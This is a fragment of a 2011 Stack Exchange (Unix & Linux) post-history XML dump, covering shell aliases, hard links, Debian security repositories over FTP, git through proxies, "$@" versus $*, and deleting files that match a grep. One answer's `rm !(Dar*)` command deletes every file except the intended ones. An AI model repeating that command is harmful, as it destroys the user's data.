looks ok. If you still don't understand why your function isn't working after my explanations, copy-paste your code.&#xD;&#xA;&#xD;&#xA;### Alias or function?&#xD;&#xA;&#xD;&#xA;Use an alias only for very simple things, typically to give a shorter name to a frequently-used command or provide default options. Examples:&#xD;&#xA;&#xD;&#xA;    alias grep='grep --color'&#xD;&#xA;    alias cp='cp -i'&#xD;&#xA;    alias j=jobs&#xD;&#xA;&#xD;&#xA;For anything more complicated, use functions.&#xD;&#xA;&#xD;&#xA;### What you should have written&#xD;&#xA;&#xD;&#xA;Instead of parsing the `ps` output, make it generate output that suits you.&#xD;&#xA;&#xD;&#xA;    wd () {&#xD;&#xA;      ps -C java -o pid=,cmd= | egrep &quot;(A|B|C|D)&quot;&#xD;&#xA;    }&#xD;&#xA;" />
  <row Id="22802" PostHistoryTypeId="5" PostId="9578" RevisionGUID="a6326e6b-2170-47a2-abff-0ed1bd06e10d" CreationDate="2011-03-18T19:18:28.927" UserId="5785" Comment="added 334 characters in body" Text="Hard links are just references to the same disk spaces, thath the 'why' you cannot hardlink something in other filesystem.&#xD;&#xA;&#xD;&#xA;Symlinks are files linking other files (as Windows shortcuts), maybe in the same filesystem, maybe not.&#xD;&#xA;&#xD;&#xA;EDIT: I will explain something more. Every file that exists has a minimum of 1 hard link. Hard links are _the way_ to access the content of an inode of the filesystem. You can obtain the inode number of a file with `ls -i`, and get the number of hardlinks with `stat` as follows in this example:&#xD;&#xA;&#xD;&#xA;    $ stat plantilla-disenos.odt &#xD;&#xA;      File: «plantilla-disenos.odt»&#xD;&#xA;      Size: 12367     	Blocks: 32         IO Block: 4096   fichero regular&#xD;&#xA;    Device: 803h/2051d	Inode: 319875      Links: 1&#xD;&#xA;    Access: (0644/-rw-r--r--)  Uid: ( 1000/   d4rio)   Gid: ( 1000/   d4rio)&#xD;&#xA;    Access: 2011-02-11 21:36:19.000000000 -0300&#xD;&#xA;    Modify: 2010-03-02 23:27:28.000000000 -0300&#xD;&#xA;    Change: 2010-04-10 17:46:27.000000000 -0300&#xD;&#xA;&#xD;&#xA;Thanks @geekosaur for this reference:&#xD;&#xA;&gt; The kernel has to restart&#xD;&#xA;&gt; pathname-to-inode translation&#xD;&#xA;&gt; (traversing the directory tree) to&#xD;&#xA;&gt; expand symlinks, whereas hard links&#xD;&#xA;&gt; all use the same inode. (You'll often&#xD;&#xA;&gt; see this referred to as namei, from&#xD;&#xA;&gt; the name of the kernel function that&#xD;&#xA;&gt; did this in traditional Unix.)&#xD;&#xA;&#xD;&#xA;Cheers" />
  <row Id="22803" PostHistoryTypeId="2" PostId="9585" RevisionGUID="b502c211-6fb5-4a99-8162-f324ce36ed41" CreationDate="2011-03-18T19:19:12.047" UserId="4671" Text="Ok, that makes things a bit clearer. command-not-found is a python program. See /usr/bin/command-not-found. It is trying to import the CommandNotFound module and is unable to, clearly pointing to a screwed up python installation. I'm not that familar with command-not-found, but I think fixing your Python installation will make the problem go away." />
  <row Id="22804" PostHistoryTypeId="5" PostId="9585" RevisionGUID="060721de-c7ce-431e-ba63-db6b4ce7d8a5" CreationDate="2011-03-18T19:24:31.700" UserId="4671" Comment="Elaborate on command-not-found; added 188 characters in body" Text="Ok, that makes things a bit clearer. command-not-found is a python program, which runs when your command is not something found on the system. (Its function is to suggest alternatives and corrections in case of mistyping etc.) See /usr/bin/command-not-found. It is trying to import the CommandNotFound module and is unable to, clearly pointing to a screwed up python installation. I'm not that familar with command-not-found, but I think fixing your Python installation will make the problem go away.&#xD;&#xA;&#xD;&#xA;Just to elaborate a bit, what is probably happening is that the command-not-found module is located somewhere where your default python isn't looking for it. A path problem, basically." />
  <row Id="22805" PostHistoryTypeId="5" PostId="9578" RevisionGUID="895342ba-63b3-4d8f-9f70-cce052f0a923" CreationDate="2011-03-18T19:27:16.877" UserId="5785" Comment="Added geekosaur comment" Text="Hard links are just references to the same disk spaces, thath the 'why' you cannot hardlink something in other filesystem.&#xD;&#xA;&#xD;&#xA;Symlinks are files linking other files (as Windows shortcuts), maybe in the same filesystem, maybe not.&#xD;&#xA;&#xD;&#xA;EDIT: I will explain something more. Every file that exists has a minimum of 1 hard link. Hard links are _the way_ to access the content of an inode of the filesystem. You can obtain the inode number of a file with `ls -i`, and get the number of hardlinks with `stat` as follows in this example:&#xD;&#xA;&#xD;&#xA;    $ stat plantilla-disenos.odt &#xD;&#xA;      File: «plantilla-disenos.odt»&#xD;&#xA;      Size: 12367     	Blocks: 32         IO Block: 4096   fichero regular&#xD;&#xA;    Device: 803h/2051d	Inode: 319875      Links: 1&#xD;&#xA;    Access: (0644/-rw-r--r--)  Uid: ( 1000/   d4rio)   Gid: ( 1000/   d4rio)&#xD;&#xA;    Access: 2011-02-11 21:36:19.000000000 -0300&#xD;&#xA;    Modify: 2010-03-02 23:27:28.000000000 -0300&#xD;&#xA;    Change: 2010-04-10 17:46:27.000000000 -0300&#xD;&#xA;&#xD;&#xA;Thanks @geekosaur for this reference:&#xD;&#xA;&gt; The kernel has to restart&#xD;&#xA;&gt; pathname-to-inode translation&#xD;&#xA;&gt; (traversing the directory tree) to&#xD;&#xA;&gt; expand symlinks, whereas hard links&#xD;&#xA;&gt; all use the same inode. (You'll often&#xD;&#xA;&gt; see this referred to as namei, from&#xD;&#xA;&gt; the name of the kernel function that&#xD;&#xA;&gt; did this in traditional Unix.)&#xD;&#xA;&#xD;&#xA;and this (edited):&#xD;&#xA;&gt; Hard links are very useful for&#xD;&#xA;&gt; disk-based _incremental_ backup&#xD;&#xA;&gt; mechanisms _like Apple's Time&#xD;&#xA;&gt; Machine_, because you can have a full&#xD;&#xA;&gt; directory tree for each backup while&#xD;&#xA;&gt; sharing the space for files that&#xD;&#xA;&gt; haven't changed — and the filesystem&#xD;&#xA;&gt; keeps track of reference counting, so&#xD;&#xA;&gt; when the last reference to a given&#xD;&#xA;&gt; version goes away because the backup&#xD;&#xA;&gt; was expired/removed for space reasons,&#xD;&#xA;&gt; the space it used is automatically&#xD;&#xA;&gt; reclaimed. Some mail clients also use&#xD;&#xA;&gt; it for messages filed to multiple&#xD;&#xA;&gt; folders, for the same reason.&#xD;&#xA;&#xD;&#xA;Cheers" />
  <row Id="22806" PostHistoryTypeId="6" PostId="9547" RevisionGUID="1460cbda-6ef5-43cc-85ee-0eff460d12be" CreationDate="2011-03-18T19:29:13.287" UserId="885" Comment="edited tags" Text="élinuxàéserialöportà" />
  <row Id="22807" PostHistoryTypeId="6" PostId="3180" RevisionGUID="00d0fa4a-7ce8-47f7-95ac-9e1bd581a15c" CreationDate="2011-03-18T19:30:25.063" UserId="885" Comment="edited tags" Text="éshellàéioöredirectionàéserialöportà" />
  <row Id="22808" PostHistoryTypeId="6" PostId="9093" RevisionGUID="83ff61b6-15cd-44f8-872c-b1d0e937580e" CreationDate="2011-03-18T19:30:35.110" UserId="885" Comment="edited tags" Text="éttyàéethernetàéserialöportà" />
  <row Id="22810" PostHistoryTypeId="2" PostId="9587" RevisionGUID="c36788f2-fd42-44e9-a091-acb73dfbbdf3" CreationDate="2011-03-18T19:35:53.547" UserId="885" Text="Yes, it's cunningly called [`security.debian.org`](ftp://security.debian.org/).&#xD;&#xA;&#xD;&#xA;There are no official mirrors for `security.debian.org` by design, see [Why is there a separate package repository for Debian security updates?](http://unix.stackexchange.com/questions/4255/why-is-there-a-separate-package-repository-for-debian-security-updates).&#xD;&#xA;&#xD;&#xA;Many places that have a mandatory HTTP proxy block FTP altogether. So there aren't many situations where there is an advantage to using FTP.&#xD;&#xA;" />
  <row Id="22811" PostHistoryTypeId="2" PostId="9588" RevisionGUID="19469984-7148-43da-81fc-941b8e3aed66" CreationDate="2011-03-18T19:46:10.917" UserId="885" Text="Uh, how do you know about the segfault anyway?&#xD;&#xA;&#xD;&#xA;There is a [kernel log message](http://lxr.linux.no/#linux+v2.6.38/arch/x86/mm/fault.c#L689) at priority info. It shows the [executable name](http://lxr.linux.no/#linux+v2.6.38/include/linux/sched.h#L1334) [without the directory part](http://lxr.linux.no/#linux+v2.6.38/fs/exec.c#L1054). On some architectures, the [`debug.exception-trace` sysctl](http://lxr.linux.no/#linux+v2.6.38/kernel/sysctl.c#L1605) [must be set](http://lxr.linux.no/#linux+v2.6.38/arch/x86/mm/fault.c).&#xD;&#xA;" />
  <row Id="22812" PostHistoryTypeId="5" PostId="9566" RevisionGUID="a7e2dcf1-4a35-4a1b-b42c-2842681a43dc" CreationDate="2011-03-18T19:47:39.977" UserId="5785" Comment="added 1226 characters in body" Text="I've a debian on a VirtualBox here, at work, behind an enterprise proxy, and HTTP works fine. I don't know if security.debian.org allows FTP, but i don't really _trust_ some other source for my _security_ udpates.&#xD;&#xA;&#xD;&#xA;JUST FYI: I've configured apt to use the proxy.&#xD;&#xA;&#xD;&#xA;EDIT: Home sweet home, no proxies here so I can test ftp:&#xD;&#xA;&#xD;&#xA;    $ ftp security.debian.org&#xD;&#xA;    Connected to security.debian.org.&#xD;&#xA;    220 security.debian.org FTP server (vsftpd)&#xD;&#xA;    Name (security.debian.org:d4rio): anonymous&#xD;&#xA;    331 Please specify the password.&#xD;&#xA;    Password:&#xD;&#xA;    230 Login successful.&#xD;&#xA;    Remote system type is UNIX.&#xD;&#xA;    Using binary mode to transfer files.&#xD;&#xA;    ftp&gt; ls&#xD;&#xA;    200 PORT command successful. Consider using PASV.&#xD;&#xA;    150 Here comes the directory listing.&#xD;&#xA;    drwxrwsr-x    6 1176     1176         4096 Mar 18 17:54 debian-security&#xD;&#xA;    226 Directory send OK.&#xD;&#xA;    ftp&gt; cd debian-security&#xD;&#xA;    250 Directory successfully changed.&#xD;&#xA;    ftp&gt; ls&#xD;&#xA;    200 PORT command successful. Consider using PASV.&#xD;&#xA;    150 Here comes the directory listing.&#xD;&#xA;    -rw-rw-r--    1 1176     1176          183 Aug 16  2000 README.security&#xD;&#xA;    drwxrwsr-x    5 1176     1176         4096 Feb 05 15:37 dists&#xD;&#xA;    drwxrwsr-x    2 1176     1176         4096 Feb 12  2009 indices&#xD;&#xA;    drwxrwsr-x    3 1176     1176         4096 Nov 20  2002 pool&#xD;&#xA;    drwxrwsr-x    4 1176     1176         4096 May 13  2008 project&#xD;&#xA;    226 Directory send OK.&#xD;&#xA;    ftp&gt;&#xD;&#xA;&#xD;&#xA;So, security.debian.org allows ftp anonymous login.&#xD;&#xA;" />
  <row Id="22813" PostHistoryTypeId="5" PostId="9587" RevisionGUID="ae044f68-e55f-4ad5-9d47-e6ef212ecde0" CreationDate="2011-03-18T19:55:10.347" UserId="688" Comment="edited body" Text="Yes, it's cunningly called [`security.debian.org`](ftp://security.debian.org/). Add this line to your **/etc/apt/sources.list**:&#xD;&#xA;&#xD;&#xA;    deb ftp://security.debian.org/debian-security &lt;codename&gt;/updates main&#xD;&#xA;&#xD;&#xA;There are no official mirrors for `security.debian.org` by design (see [this thread][1]).&#xD;&#xA;&#xD;&#xA;Many places that have a mandatory HTTP proxy block FTP altogether. So there aren't many situations where there is an advantage to using FTP.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/q/4255" />
  <row Id="22814" PostHistoryTypeId="5" PostId="9588" RevisionGUID="9b536b60-64fe-43cc-9aee-2fc38178b05b" CreationDate="2011-03-18T19:55:48.480" UserId="885" Comment="arm requirements" Text="Uh, how do you know about the segfault anyway?&#xD;&#xA;&#xD;&#xA;There is a [kernel log message](http://lxr.linux.no/#linux+v2.6.38/arch/x86/mm/fault.c#L689) at priority info. It shows the [executable name](http://lxr.linux.no/#linux+v2.6.38/include/linux/sched.h#L1334) [without the directory part](http://lxr.linux.no/#linux+v2.6.38/fs/exec.c#L1054). On some architectures, the [`debug.exception-trace` sysctl](http://lxr.linux.no/#linux+v2.6.38/kernel/sysctl.c#L1605) [must be set](http://lxr.linux.no/#linux+v2.6.38/arch/x86/mm/fault.c). Some architectures require a compile-time option and kernel command line parameter (e.g. [`CONFIG_USER_DEBUG`](http://lxr.linux.no/#linux+v2.6.38/arch/arm/mm/fault.c#L155) and [`user_debug`](http://lxr.linux.no/#linux+v2.6.38/arch/arm/kernel/traps.c#L43) on arm).&#xD;&#xA;" />
  <row Id="22815" PostHistoryTypeId="5" PostId="9587" RevisionGUID="8db319a4-afc5-4048-bcb4-ffafab4c41e7" CreationDate="2011-03-18T19:58:14.973" UserId="885" Comment="restored question link" Text="Yes, it's cunningly called [`security.debian.org`](ftp://security.debian.org/). Add this line to your `/etc/apt/sources.list`:&#xD;&#xA;&#xD;&#xA;    deb ftp://security.debian.org/debian-security &lt;codename&gt;/updates main&#xD;&#xA;&#xD;&#xA;There are no official mirrors for `security.debian.org` by design, see [Why is there a separate package repository for Debian security updates?](http://unix.stackexchange.com/questions/4255/why-is-there-a-separate-package-repository-for-debian-security-updates).&#xD;&#xA;&#xD;&#xA;Many places that have a mandatory HTTP proxy block FTP altogether. So there aren't many situations where there is an advantage to using FTP.&#xD;&#xA;" />
  <row Id="22816" PostHistoryTypeId="5" PostId="9565" RevisionGUID="f5c898cd-82dc-4e93-8cd2-82923bac9f27" CreationDate="2011-03-18T20:01:13.240" UserId="688" Comment="what did I try?" Text="If I want security updates for Debian, I add the following line to **/etc/apt/sources.list**:&#xD;&#xA;&#xD;&#xA;    deb http://security.debian.org &lt;codename&gt;/updates main&#xD;&#xA;&#xD;&#xA;Is there a repository that allows the `http` to be `ftp`? I say this because other normal Debian APT mirrors allows that, and doing the same here doesn't work. That is, using the following line results in errors:&#xD;&#xA;&#xD;&#xA;    deb ftp://security.debian.org &lt;codename&gt;/updates main&#xD;&#xA;&#xD;&#xA;One advantage of ftp is that it's often (or rather, in my limited experience) not put behind a proxy." />
  <row Id="22817" PostHistoryTypeId="25" PostId="9573" RevisionGUID="b93a0f82-c2ab-4314-bee6-d2dc455dfeca" CreationDate="2011-03-18T20:31:20.517" Comment="http://twitter.com/#!/StackUnix/status/48843952715083776" />
  <row Id="22818" PostHistoryTypeId="2" PostId="9589" RevisionGUID="791a0fba-a75c-47e8-bdad-af65e6e08783" CreationDate="2011-03-18T20:36:05.583" UserId="885" Text="Terminology note: the [firewall](http://en.wikipedia.org/wiki/Firewall_%28computing%29) is what blocks you from connecting to some sites or ports directly. The [proxy](http://en.wikipedia.org/wiki/Proxy_server) is an intermediate server that you can connect to (but not for everything) and that is allowed to access the Internet.&#xD;&#xA;&#xD;&#xA;If your proxy isn't trying too hard to block non-web traffic, you may be able to get it to relay your git connection. Use a program like [corkscrew](http://freshmeat.net/projects/corkscrew) or [connect-proxy](http://www.taiyo.co.jp/~gotoh/ssh/connect.html) to use the [`CONNECT`](http://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Request_methods) method to try and get through the proxy. Put something like this in your `~/.git/config` (replace `proxy.example.com` and 3128 by your proxy's host name and port):&#xD;&#xA;&#xD;&#xA;    [core]&#xD;&#xA;    gitProxy=&quot;corkscrew proxy.example.com 3128 git.gnome.org 9418&quot;&#xD;&#xA;&#xD;&#xA;Many proxies are configured to allow `CONNECT` only to port 443 (https), and they may check that the traffic they're relaying is actually SSL. If that's the case for you, as far as I know, your only options are to use a different protocol, use an external relay that you can reach (e.g. ssh tunnel with a server on port 443), or get your network administrator to allow git traffic.&#xD;&#xA;" />
  <row Id="22819" PostHistoryTypeId="6" PostId="9544" RevisionGUID="ae46d5d4-4fa7-4237-a2e5-86be9793c5c9" CreationDate="2011-03-18T20:43:00.427" UserId="885" Comment="edited tags" Text="ésshàésecurityàéloginà" />
  <row Id="22820" PostHistoryTypeId="17" PostId="9591" RevisionGUID="83f1a494-d018-43a8-949e-9d294957f1d8" CreationDate="2011-03-18T20:55:36.017" UserId="-1" Comment="from http://serverfault.com/questions/249150/in-bash-what-is-the-safest-way-to-pass-variables-to-another-program-or/249154#249154" Text="" />
  <row Id="22821" PostHistoryTypeId="2" PostId="9591" RevisionGUID="ac5510b4-acf6-4666-bcf2-1498d9e235df" CreationDate="2011-03-18T20:37:19.950" UserDisplayName="eric sorenson" Text="safest is `&quot;$@&quot;` because it passes the arglist on without expansion and separates each argument. See http://www.faqs.org/docs/abs/HTML/variables2.html#ARGLIST for more detail." />
  <row Id="22822" PostHistoryTypeId="2" PostId="9590" RevisionGUID="aa91ff0a-86c5-4cfa-8fa4-8183c2438e49" CreationDate="2011-03-18T20:29:10.447" UserDisplayName="Jonathan" Text="Can someone explain to me in a concise way what the difference between these two vars is? &#xD;&#xA;&#xD;&#xA;What is the safest way to pass variables to another program? &#xD;&#xA;&#xD;&#xA;E.g. &#xD;&#xA;&#xD;&#xA;    #! /bin/bash&#xD;&#xA;&#xD;&#xA;    # do stuff&#xD;&#xA;&#xD;&#xA;    # pass variables onto another program&#xD;&#xA;    java $@&#xD;&#xA;&#xD;&#xA;" />
  <row Id="22823" PostHistoryTypeId="1" PostId="9590" RevisionGUID="aa91ff0a-86c5-4cfa-8fa4-8183c2438e49" CreationDate="2011-03-18T20:29:10.447" UserDisplayName="Jonathan" Text="In bash, what is the safest way to pass variables to another program -- $* or $@?" />
  <row Id="22824" PostHistoryTypeId="3" PostId="9590" RevisionGUID="aa91ff0a-86c5-4cfa-8fa4-8183c2438e49" CreationDate="2011-03-18T20:29:10.447" UserDisplayName="Jonathan" Text="ébashà" />
  <row Id="22825" PostHistoryTypeId="17" PostId="9590" RevisionGUID="aae50f7b-34f9-49b2-9e8e-0850f33b4fab" CreationDate="2011-03-18T20:55:36.017" UserId="-1" Comment="from http://serverfault.com/questions/249150/in-bash-what-is-the-safest-way-to-pass-variables-to-another-program-or" Text="" />
  <row Id="22826" PostHistoryTypeId="2" PostId="9592" RevisionGUID="bde04dd1-a663-456b-937f-48711decc65f" CreationDate="2011-03-18T20:55:59.527" UserId="885" Text="I don't think there's a direct way. One way to get the data you want would be to access the directory tree through a [virtual filesystem](http://fuse.sourceforge.net/) that logs accesses. [Loggedfs](http://loggedfs.sourceforge.net/) is one such filesystem, though I don't know if it can show all the data you're interested in. (If not it would probably be a modest coding effort to that data.)&#xD;&#xA;&#xD;&#xA;    mkdir /tmp/replica&#xD;&#xA;    loggedfs /path/to/directory /tmp/replica&#xD;&#xA;    mycommand --root=/tmp/replica&#xD;&#xA;    fusermount -u /tmp/replica&#xD;&#xA;" />
  <row Id="22827" PostHistoryTypeId="2" PostId="9593" RevisionGUID="df2ffdf1-ef5d-4ca3-95aa-643841a4bcb7" CreationDate="2011-03-18T21:01:07.503" UserId="5866" Text="On Linux, the system calls splice(2) and tee(2) are used to transfer data between two file descriptors. One or both of the file descriptors must be a pipe, according to documentation. Why? Can this be made to work with sockets? Does it work currently, or would kernel modifications be required?" />
  <row Id="22828" PostHistoryTypeId="1" PostId="9593" RevisionGUID="df2ffdf1-ef5d-4ca3-95aa-643841a4bcb7" CreationDate="2011-03-18T21:01:07.503" UserId="5866" Text="Can splice()/tee() be made to work with sockets, and not merely pipes?" />
  <row Id="22829" PostHistoryTypeId="3" PostId="9593" RevisionGUID="df2ffdf1-ef5d-4ca3-95aa-643841a4bcb7" CreationDate="2011-03-18T21:01:07.503" UserId="5866" Text="élinuxàépipeà" />
  <row Id="22830" PostHistoryTypeId="2" PostId="9594" RevisionGUID="c4f6551a-dfbd-411f-9994-9b49662b5a04" CreationDate="2011-03-18T21:03:11.167" UserId="382" Text="Using this script:&#xD;&#xA;&#xD;&#xA;    #! /bin/sh&#xD;&#xA;    # Greg Wooledge's args script&#xD;&#xA;    printf &quot;%d args:&quot; $#&#xD;&#xA;    printf &quot; &lt;%s&gt;&quot; &quot;$@&quot;&#xD;&#xA;    echo&#xD;&#xA;&#xD;&#xA;Try this demo:&#xD;&#xA;&#xD;&#xA;    $ set -- a 'b     c' d&#xD;&#xA;    $ args $*&#xD;&#xA;    4 args: &lt;a&gt; &lt;b&gt; &lt;c&gt; &lt;d&gt;&#xD;&#xA;    $ args $@&#xD;&#xA;    4 args: &lt;a&gt; &lt;b&gt; &lt;c&gt; &lt;d&gt;&#xD;&#xA;    $ args &quot;$*&quot;&#xD;&#xA;    1 args: &lt;a b     c d&gt;&#xD;&#xA;    $ args &quot;$@&quot;&#xD;&#xA;    3 args: &lt;a&gt; &lt;b     c&gt; &lt;d&gt;&#xD;&#xA;&#xD;&#xA;You should usually use `&quot;$@&quot;` (with the quotes).&#xD;&#xA;&#xD;&#xA;Sometimes it's useful to change `IFS` and use `&quot;$*&quot;`:&#xD;&#xA;&#xD;&#xA;    $ saveIFS=$IFS; IFS='|'; args &quot;$*&quot;; IFS=$saveIFS&#xD;&#xA;    1 args: &lt;a|b     c|d&gt;" />
  <row Id="22832" PostHistoryTypeId="2" PostId="9595" RevisionGUID="c3f62d32-c292-42e0-b63e-3fcc538b401f" CreationDate="2011-03-18T21:13:57.580" UserId="5325" Text="Right now they just splice pipe buffers together; socket buffers (on Linux) are different animals, and drag kernel networking into it.  Limiting it to `AF_LOCAL` sockets would simplify implementation at the cost of complicating validation — and you still probably have to deal with them being allocated and mapped via the network buffer management subsystem instead of from anonymous file buffers." />
  <row Id="22833" PostHistoryTypeId="2" PostId="9596" RevisionGUID="379cf449-091a-4360-ac91-1e918baf7f4d" CreationDate="2011-03-18T21:16:35.603" UserId="1924" Text="Last time I switched to fedora and now I got problem.&#xD;&#xA;I know root password, but I can't login (says that login is incorrect).&#xD;&#xA;I can't use sudo because I'm not sudoer.&#xD;&#xA;However I can still install things and upgrade using my root's pass.&#xD;&#xA;What's wrong ?" />
  <row Id="22834" PostHistoryTypeId="1" PostId="9596" RevisionGUID="379cf449-091a-4360-ac91-1e918baf7f4d" CreationDate="2011-03-18T21:16:35.603" UserId="1924" Text="fedora 14 problem with using root" />
  <row Id="22835" PostHistoryTypeId="3" PostId="9596" RevisionGUID="379cf449-091a-4360-ac91-1e918baf7f4d" CreationDate="2011-03-18T21:16:35.603" UserId="1924" Text="éfedoraà" />
  <row Id="22836" PostHistoryTypeId="5" PostId="9596" RevisionGUID="ca28cb7c-4362-4f6d-a635-fc711d5713b0" CreationDate="2011-03-18T21:20:06.233" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Root password not working to log in to Gnome with gdm](http://unix.stackexchange.com/questions/8556/root-password-not-working-to-log-in-to-gnome-with-gdm)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Last time I switched to fedora and now I got problem.&#xD;&#xA;I know root password, but I can't login (says that login is incorrect).&#xD;&#xA;I can't use sudo because I'm not sudoer.&#xD;&#xA;However I can still install things and upgrade using my root's pass.&#xD;&#xA;What's wrong ?" />
  <row Id="22837" PostHistoryTypeId="10" PostId="9596" RevisionGUID="35a349bd-6347-4f40-b078-7d216167a681" CreationDate="2011-03-18T21:20:06.140" UserId="2511" CloseReasonId="1" Text="[{&quot;Id&quot;:2511,&quot;DisplayName&quot;:&quot;mattdm&quot;}]" />
  <row Id="22838" PostHistoryTypeId="2" PostId="9597" RevisionGUID="a6cde1f0-5bfa-4c40-b78a-84db39799f79" CreationDate="2011-03-18T21:29:34.530" UserId="5871" Text="i'm trying to pipe grep output to rm, but it outputs useless stuffz...any switch in rm is required ? or rm can be provided regexp directly?&#xD;&#xA;`$ls|grep '^Dar' |rm &#xD;&#xA;$try rm --help``" />
  <row Id="22839" PostHistoryTypeId="1" PostId="9597" RevisionGUID="a6cde1f0-5bfa-4c40-b78a-84db39799f79" CreationDate="2011-03-18T21:29:34.530" UserId="5871" Text="giving grep output to rm" />
  <row Id="22840" PostHistoryTypeId="3" PostId="9597" RevisionGUID="a6cde1f0-5bfa-4c40-b78a-84db39799f79" CreationDate="2011-03-18T21:29:34.530" UserId="5871" Text="ébashàégrepàéregexàérmà" />
  <row Id="22841" PostHistoryTypeId="2" PostId="9598" RevisionGUID="8eef959e-b57d-4d07-93cf-1e1c33a639a4" CreationDate="2011-03-18T21:32:03.817" UserId="885" Text="POSIX: `printf a | od -A n -t d1`&#xD;&#xA;&#xD;&#xA;Perl: `perl -e 'print ord($ARGV[0])' a`&#xD;&#xA;&#xD;&#xA;Perl, coping with UTF-8 if in a UTF-8 locale: `perl -C255 -e 'print ord($ARGV[0])' œ`&#xD;&#xA;" />
  <row Id="22842" PostHistoryTypeId="2" PostId="9599" RevisionGUID="bb1fcdfb-5805-4326-ac2c-67024a523428" CreationDate="2011-03-18T21:32:04.127" UserId="4477" Text="I successfully used [udftools][1] to write _DVDs_ with larger than 4GB files. In theory it supports Blu-ray writing but I lack the necessary hardware to test it.&#xD;&#xA;&#xD;&#xA;I recommend using a graphical application like [k3b][2] if you can. It's not an option for servers without monitors and automated backup scripts but for causal use it is more convinient.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sourceforge.net/projects/linux-udf/&#xD;&#xA;  [2]: http://www.k3b.org/" />
  <row Id="22843" PostHistoryTypeId="6" PostId="9508" RevisionGUID="4262f1dd-3c65-4b1c-9049-33edfefff6cf" CreationDate="2011-03-18T21:37:16.030" UserId="885" Comment="edited tags" Text="élinuxàéfilesystemsàécacheàéssdà" />
  <row Id="22845" PostHistoryTypeId="6" PostId="9590" RevisionGUID="bfed2e3b-9400-4b94-8c84-7d7b69345114" CreationDate="2011-03-18T21:39:28.053" UserId="885" Comment="edited tags" Text="éshellà" />
  <row Id="22846" PostHistoryTypeId="2" PostId="9600" RevisionGUID="3e11e940-0de9-40f1-8add-fd18b503c055" CreationDate="2011-03-18T21:40:54.817" UserId="2098" Text="When you use a &lt;kbd&gt;/&lt;/kbd&gt; forward search or a &lt;kbd&gt;?&lt;/kbd&gt; backward search in less, all instances of the file get highlighted. After I've found the instance of the word I'm looking for, what is the most correct way to unhighlight something?&#xD;&#xA;&#xD;&#xA;Currently I just press `/` then mash gibberish into the input field. No results = no highlights!&#xD;&#xA;&#xD;&#xA;I'm looking for something akin to vim's `:nohl` feature, in less." />
  <row Id="22847" PostHistoryTypeId="1" PostId="9600" RevisionGUID="3e11e940-0de9-40f1-8add-fd18b503c055" CreationDate="2011-03-18T21:40:54.817" UserId="2098" Text="Unhighlight Last Search in 'less'" />
  <row Id="22848" PostHistoryTypeId="3" PostId="9600" RevisionGUID="3e11e940-0de9-40f1-8add-fd18b503c055" CreationDate="2011-03-18T21:40:54.817" UserId="2098" Text="élessà" />
  <row Id="22849" PostHistoryTypeId="5" PostId="9585" RevisionGUID="6e548f64-9796-46d2-b3b6-bcf1cc8032e4" CreationDate="2011-03-18T21:42:06.587" UserId="885" Comment="added hyperlink" Text="Ok, that makes things a bit clearer. [`command-not-found`](http://packages.ubuntu.com/maverick/command-not-found) is a python program, which runs when your command is not something found on the system. (Its function is to suggest alternatives and corrections in case of mistyping etc.) See `/usr/bin/command-not-found`. It is trying to import the `CommandNotFound` module and is unable to, clearly pointing to a screwed up python installation. I'm not that familar with `command-not-found`, but I think fixing your Python installation will make the problem go away.&#xD;&#xA;&#xD;&#xA;Just to elaborate a bit, what is probably happening is that the `command-not-found` module is located somewhere where your default python isn't looking for it. A path problem, basically." />
  <row Id="22850" PostHistoryTypeId="2" PostId="9601" RevisionGUID="760540c0-3c10-4d00-9428-787446810452" CreationDate="2011-03-18T21:45:34.453" UserId="5325" Text="You need to use `xargs` to turn standard input into arguments for `rm`.&#xD;&#xA;&#xD;&#xA;    $ ls | grep '^Dar' | xargs rm&#xD;&#xA;&#xD;&#xA;(Beware of special characters in filenames; with GNU grep, you might prefer&#xD;&#xA;&#xD;&#xA;    $ ls | grep -Z '^Dar' | xargs -0 rm&#xD;&#xA;&#xD;&#xA;Also, if you're using `bash`, you can make it handle that kind of pattern directly, although it doesn't support regexps as such:&#xD;&#xA;&#xD;&#xA;    $ shopt -s extglob; rm !(Dar*)&#xD;&#xA;)" />
  <row Id="22851" PostHistoryTypeId="5" PostId="9597" RevisionGUID="f5defe4b-e10e-467b-b305-595c003441ee" CreationDate="2011-03-18T21:51:39.043" UserId="885" Comment="formatting; grammar; inserted actual error message" Text="I'm trying to pipe `grep` output to `rm`, but it outputs useless stuff. Is any switch required for `rm`? Or can `rm` can be provided a regexp directly?&#xD;&#xA;&#xD;&#xA;    $ ls | grep '^Dar' |rm &#xD;&#xA;    rm: missing operand&#xD;&#xA;    Try `rm --help' for more information.&#xD;&#xA;" />
  <row Id="22852" PostHistoryTypeId="6" PostId="9597" RevisionGUID="f5defe4b-e10e-467b-b305-595c003441ee" CreationDate="2011-03-18T21:51:39.043" UserId="885" Comment="formatting; grammar; inserted actual error message" Text="ébashàégrepàérmà" />
  <row Id="22853" PostHistoryTypeId="2" PostId="9602" RevisionGUID="bc42f71f-4c64-4d74-ba09-8d03997cd099" CreationDate="2011-03-18T21:53:42.130" UserId="885" Text="[Do not parse the output of `ls`](http://mywiki.wooledge.org/ParsingLs).&#xD;&#xA;&#xD;&#xA;Here, it's very simple to get the shell to filter the files you want. Note that it's the shell that's expanding the pattern `Dar*`, not the `rm` command. The pattern expansion performed by the shell is called [globbing](http://en.wikipedia.org/wiki/Glob_%28programming%29).&#xD;&#xA;&#xD;&#xA;    rm Dar*&#xD;&#xA;&#xD;&#xA;In more complex cases, look up the `find` command.&#xD;&#xA;" />
